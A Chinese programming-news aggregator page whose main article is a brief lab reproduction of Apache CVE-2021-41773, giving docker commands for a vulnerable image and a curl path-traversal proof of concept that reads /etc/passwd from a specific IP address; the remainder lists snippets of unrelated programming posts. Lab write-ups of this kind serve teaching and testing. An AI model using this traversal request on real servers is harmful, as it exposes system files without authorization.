当前位置：首页 > news >正文

Apache CVE-2021-41773 漏洞复现

news 2025/11/9 9:57:01

1.打开环境

docker pull blueteamsteve/cve-2021-41773:no-cgid

docker run -d -p 8080:80 97308de4753d

2.访问靶场

3.使用poc

curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

4.工具验证

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证...

编程日记 2024/9/25 3:14:12

vue-入门速通

setup是最早的生命周期，在vue2里边的data域可以使用this调用setup里面的数据，但是在setup里边不能使用thisvue项目的可执行文件是index，另外运行前端需要npm run vue的三个模块内需要三个不同的结构，里边放置js代码，注…...

编程日记 2024/9/25 3:12:10

【AI大模型】通义大模型API接口实现

目录一、基础环境安装 （一）OpenAI Python SDK安装 （二）DashScope SDK安装二、OPENAI接口实现 （一）文本输入 （二）流式输出 （三）图像输入 &#xff0…...

编程日记 2024/9/25 3:10:08

CVPR最牛图像评价算法！

本文所涉及所有资源均在传知代码平台可获取。目录概述一、论文思路 1.多任务学习框架： 2.视觉-语言对应关系： 3.动态损失权重： 4.模型优化和评估： 二、模型介绍三、详细实现方法 1.图像编码器和语言编码器（Image…...

编程日记 2024/9/25 3:07:06

Spring源码-从源码层面讲解传播特性

传播特性:service：REQUIRED，dao:REQUIRED 两个都是required使用的是同一个事务，正常情况，在service提交commit <tx:advice id"myAdvice" transaction-manager"transactionManager"><tx:attributes&…...

编程日记 2024/9/25 3:05:05

Rust调用tree-sitter解析C语言

文章目录一、Rust 调用 tree-sitter 解析 C 语言代码1. 设置 Rust 项目2. 添加 tree-sitter 依赖3. 编写 Rust 代码4. 运行程序5. 编译出错二、解决步骤1. 添加 tree-sitter 构建依赖2. 添加 tree-sitter-c 源代码3. 修改 build.rs 以编译 tree-sitter-c 库4. 修改 Cargo.tom…...

编程日记 2024/9/25 3:04:03

奇瑞汽车—经纬恒润供应链技术共创交流日成功举办

2024年9月12日，奇瑞汽车—经纬恒润技术交流日在安徽省芜湖市奇瑞总部成功举办。此次盛会标志着经纬恒润与奇瑞汽车再次携手，深入探索汽车智能化新技术的前沿趋势，共同开启面向未来的价值服务与产品新篇章。面对全球汽车智能化浪潮与产业变革…...

编程日记 2024/9/25 3:03:02

vue3 TagInput 实现

效果要实现类似于下面这种效果大致原理其实是很简单的，我们可以利用 element-plus 组件库里的 el-tag 组件来实现这里我们可以将其抽离成一个公共的组件，那么现在有一个问题就是通讯问题这里我们可以利用父子组件之间的通讯，利用 v-model 来实现，父组件传值，子组…...

编程日记 2024/9/25 2:59:58

mysql中的json查询

首先来构造数据查询department里面name等于研发部的数据查询语句跟普通的sql语句差不多，也就是字段名要用到path表达式 select * from user u where u.department->$.name 研发部模糊查询 select * from user u where u.department->$.name like %研发%…...

编程日记 2024/9/25 2:57:56

Etcd权限认证管理

1 查看是否开启权限认证 ctl auth status 2 开启权限认证 ctl auth enable。开启后每一条命令都要加上用户 --userroot:root(root默认最高权限) 3 创建其他用户 ctl user add user1 --user用户名:密码 4 创建角色 ctl role add testR --user 5 为角色添加权限 ctl role g…...

编程日记 2024/9/25 2:56:55

图文组合商标部分驳回后优化后初审通过！

这几天以前有个企业的商标初审下来了，以前是加了图形个别部分没有通过初审，后面是把图形去掉重新用文字申请下来初审。图形与文字同时申请，会分别审查有一个元素过不了，整体就会过不了，所以平常就会建议分开申请注册商…...

编程日记 2024/9/25 2:53:53

【最新华为OD机试E卷-支持在线评测】爱吃蟠桃的孙悟空(100分)多语言题解-(Python/C/JavaScript/Java/Cpp)

🍭 大家好这里是春秋招笔试突围，一枚热爱算法的程序员 💻 ACM金牌🏅️团队｜大厂实习经历｜多年算法竞赛经历 ✨ 本系列打算持续跟新华为OD-E/D卷的多语言AC题解 🧩 大部分包含 Python / C / Javascript / Java / Cpp 多语言代码 👏 感谢大家的订阅➕ 和喜欢�…...

编程日记 2024/9/25 2:50:49

BUUCTF [SCTF2019]电单车详解两种方法（python实现绝对原创）

使用audacity打开，发现是一段PT2242 信号 PT2242信号有长有短，短的为0，长的为1化出来这应该是截获电动车钥匙发射出的锁车信号 0 01110100101010100110 0010 0前四位为同步码0 。。。中间这20位为01110100101010100110为地址码0010为功…...

编程日记 2024/9/25 2:47:46

Apache James配置连接达梦数据库

项目场景： Apache James配置连接达梦数据库，其他配置中不存在的数据库也可参考此方案。配置步骤 1、把需要的jar包导入到James 把DmJdbcDriver18.jar复制到下面lib目录下 james-2.3.2\lib 2、修改连接配置 james-2.3.2\apps\james\SAR-INF\confi…...

编程日记 2024/9/25 2:45:44

Java实现栈

一、栈Stack 1.1 概念一种特殊的线性表，只允许在固定的一段进行插入和删除元素操作。进行数据的插入和删除操作的一段称为栈顶，另一端称为栈低。栈中的元素遵循后进先出 LIFO(Last In First Out)的原则。进栈出栈举例：在word中&#xf…...

编程日记 2024/9/25 2:44:43

数据结构—栈

栈概念栈：一种特殊的线性表，其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除操作的一端称为栈顶，另一端称为栈底。栈中的数据元素遵守后进先出LIFO（Last In First Out）的原则。压栈：栈…...

编程日记 2024/9/25 2:43:42

服务设计原则介绍

在Java或任何软件开发中，设计服务时遵循一些核心原则是非常重要的，这些原则不仅有助于构建高质量、可维护的软件系统，还能提高系统的可扩展性和可重用性。以下是一些关键的服务设计原则： 单一职责原则（SingleResponsib…...

编程日记 2024/9/25 2:41:40

【Qualcomm】高通SNPE框架的使用 | 原始模型转换为量化的DLC文件 | 在Android的DSP端运行模型

目录 ① 激活snpe环境 ② 设置环境变量 ③ 模型转换 ④ run 首先，默认SNPE工具已经下载并且Setup相关工作均已完成。同时，拥有原始模型文件，本文使用的模型文件为SNPE 框架示例的inception_v3_2016_08_28_frozen.pb文件。image_file_list…...

编程日记 2024/9/25 2:40:39

爬虫的流程

爬虫的流程获取网页提取信息保存数据自动化程序能爬怎样的数据获取网页获取网页就是获取网页的源代码，源代码里包含了网页的部分有用信息，所以只要把源代码获取下来，就可以从中提取想要的信息浏览器访问网页的本质：浏览器向服…...

编程日记 2024/9/25 2:38:37

Git之如何删除Untracked文件(六十八)

简介： CSDN博客专家、《Android系统多媒体进阶实战》一书作者新书发布：《Android系统多媒体进阶实战》🚀 优质专栏： Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏： 多媒体系统工程师系列【…...

编程日记 2024/9/25 2:36:35

超短脉冲激光自聚焦效应

前言与目录强激光引起自聚焦效应机理超短脉冲激光在脆性材料内部加工时引起的自聚焦效应，这是一种非线性光学现象，主要涉及光学克尔效应和材料的非线性光学特性。自聚焦效应可以产生局部的强光场，对材料产生非线性响应，可能…...

编程新知 2025/11/7 10:17:43

阿里云ACP云计算备考笔记 (5)——弹性伸缩

目录第一章概述第二章弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制第三章主要定义 …...

编程新知 2025/11/7 20:04:06

智能在线客服平台：数字化时代企业连接用户的 AI 中枢

随着互联网技术的飞速发展，消费者期望能够随时随地与企业进行交流。在线客服平台作为连接企业与客户的重要桥梁，不仅优化了客户体验，还提升了企业的服务效率和市场竞争力。本文将探讨在线客服平台的重要性、技术进展、实际应用，并…...

编程新知 2025/11/8 3:52:43

基于Java Swing的电子通讯录设计与实现：附系统托盘功能代码详解

JAVASQL电子通讯录带系统托盘一、系统概述本电子通讯录系统采用Java Swing开发桌面应用，结合SQLite数据库实现联系人管理功能，并集成系统托盘功能提升用户体验。系统支持联系人的增删改查、分组管理、搜索过滤等功能，同时可以最小化到系统…...

编程新知 2025/10/4 20:58:43

P10909 [蓝桥杯 2024 国 B] 立定跳远

# P10909 [蓝桥杯 2024 国 B] 立定跳远 ## 题目描述在运动会上，小明从数轴的原点开始向正方向立定跳远。项目设置了 $n$ 个检查点 $a_1, a_2, \cdots , a_n$ 且 $a_i \ge a_{i−1} > 0$。小明必须先后跳跃到每个检查点上且只能跳跃到检查点上。同时&#xff0…...

编程新知 2025/7/10 13:56:25

Unity-ECS详解

今天我们来了解Unity最先进的技术——ECS架构（EntityComponentSystem）。 Unity官方下有源码，我们下载源码后来学习。 ECS 与OOP（Object-Oriented Programming）对应，ECS是一种完全不同的编程范式与数据架构…...

编程新知 2025/11/8 3:55:50

后端下载限速（redis记录实时并发，bucket4j动态限速）

✅ 使用 Redis 记录所有用户的实时并发下载数✅ 使用 Bucket4j 实现全局下载速率限制（动态）✅ 支持动态调整限速策略✅ 下载接口安全、稳定、可监控 🧩 整体架构概览模块功能Redis存储全局并发数和带宽令牌桶状态Bucket4j Redis分布式限…...

编程新知 2025/10/11 19:04:43

Nginx 事件驱动理解

在做埋点采集服务的过程中，主要依靠openresty加lua脚本来实现采集。高并发还是主要依靠nginx来实现。而其核心就是事件驱动/多路io复用（epoll机制），不同的linux服务器都有对应的实现方式。而epoll机制就是，应用启动的…...

编程新知 2025/10/22 21:28:27

【计算机网络】NAT、代理服务器、内网穿透、内网打洞、局域网中交换机

🔥个人主页🔥：孤寂大仙V 🌈收录专栏🌈：计算机网络 🌹往期回顾🌹：【计算机网络】数据链路层——ARP协议 🔖流水不争，争的是滔滔不息一、网络地址转…...

编程新知 2025/11/7 23:25:26

leetcode238-除自身以外数组的乘积

leetcode 238 思路可以在不使用除法的情况下，利用前缀积和后缀积来实现解答前缀积：对每个位置，计算当前数字左侧的所有数字的乘积后缀积：对每个位置，计算当前数字右侧的所有数字的乘积结合这两种思想&#xff0…...

编程新知 2025/11/8 3:31:19

相关文章：